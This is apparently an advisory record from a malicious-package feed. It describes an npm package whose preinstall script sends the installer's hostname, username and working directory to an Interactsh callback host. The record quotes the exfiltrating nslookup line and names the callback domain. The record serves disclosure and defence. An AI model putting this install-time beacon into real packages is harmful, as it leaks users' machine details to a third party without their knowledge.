{"id":"MAL-2026-18492","kind":"package","aliases":["MAL-2026-18492"],"related":[],"title":"Malicious code in @goparrot-dashboard/app (npm)","description":"---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (15fc3978543eda6ea8e55289945a35f5244e9a6bd47959bee908ab293cdfd658)\nThe package declares a `preinstall` lifecycle script that runs `node index.js` automatically on `npm install`. index.js collects installer host identifiers — `hostname`, the output of `whoami`, and `process.cwd()` — and transmits them to a hardcoded Interactsh (oast.fun) callback host at `iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun` via two channels: a DNS lookup against a subdomain that embeds the collected username and hostname (`execSync(\"nslookup ${whoami}.${hostname}.rootxravi.${CALLBACK}\")`), and an HTTPS GET to `https://<CALLBACK>/rootxravi-poc?...` carrying the same data. The behavior fires without user action during installation and leaks identifying information about the installer's machine to an attacker-controlled OAST endpoint. Author comments labeling the code as a proof-of-concept do not change the dataflow — installing the package produces an install-time beacon to a third-party callback host.","summary":null,"severity":"critical","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"@goparrot-dashboard/app","fixed":[],"affected":"= 0.0.2","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["malicious","package"],"not_affected_if":[],"how_to_check":null,"fix":null,"status":"open","published_at":"2026-11-03T03:30:15+00:00","first_seen_at":"2026-11-03T04:17:40+00:00","triaged_at":"2026-11-03T04:18:14+00:00","updated_at":"2026-11-03T04:19:23+00:00","category":"package","confidence":null,"triage":null,"analyst_status":null,"analyst_note":null,"search":"'-18492':11A,14A '-2026':10A,13A '/app':7A,18A '/rootxravi-poc':101C '15fc3978543eda6ea8e55289945a35f5244e9a6bd47959bee908ab293cdfd658':34C 'action':111C 'amazon':32C 'amazon-inspector':31C 'attack':126C 'attacker-control':125C 'author':130C 'automat':46C 'beacon':154C 'behavior':107C 'callback':70C,95C,160C 'carri':102C 'chang':143C 'channel':76C 'code':2A,134C 'collect':51C,86C 'comment':131C 'concept':140C 'control':127C 'dashboard':6A,17A 'data':105C 'dataflow':145C 'declar':37C 'detail':23C 'dns':78C 'edit':26C 'emb':84C 'endpoint':129C 'execsync':90C 'fire':108C 'get':99C 'goparrot':5A,16A 'goparrot-dashboard':4A,15A 'hardcod':67C 'host':53C,71C,161C 'hostnam':55C,89C,93C 'https':98C 'identifi':54C,116C 'index.js':45C,50C 'inform':117C 'inspector':33C 'instal':49C,52C,113C,120C,146C,152C 'install-tim':151C 'interactsh':68C 'iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun':73C 'label':132C 'leak':115C 'lifecycl':40C 'line':29C 'lookup':79C 'machin':122C 'mal':9A,12A 'malici':1A,19B 'node':44C 'npm':8A,48C 'nslookup':91C 'oast':128C 'oast.fun':69C 'output':57C 'packag':20B,36C,148C 'parti':159C 'per':21C 'preinstal':39C 'process.cwd':61C 'produc':149C 'proof':138C 'proof-of-concept':137C 'rootxravi':94C 'run':43C 'script':41C 'sourc':22C,30C 'subdomain':82C 'third':158C 'third-parti':157C 'time':153C 'transmit':63C 'two':75C 'user':110C 'usernam':87C 'via':74C 'whoami':59C,92C 'without':109C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":null,"audience":null,"plain_action":null,"pkeys":["app"],"ptokens":["app","dashboard","goparrot"],"labels":["critical","malicious","npm","package"],"first_public_at":"2026-11-03T03:30:15+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"osv-malicious","external_id":"MAL-2026-18492","url":"https://osv.dev/vulnerability/MAL-2026-18492","severity":"critical","published_at":"2026-11-03T03:30:15+00:00","modified_at":"2026-11-03T03:45:04+00:00","first_seen_at":"2026-11-03T04:17:40+00:00","fetched_at":"2026-11-03T04:17:40+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}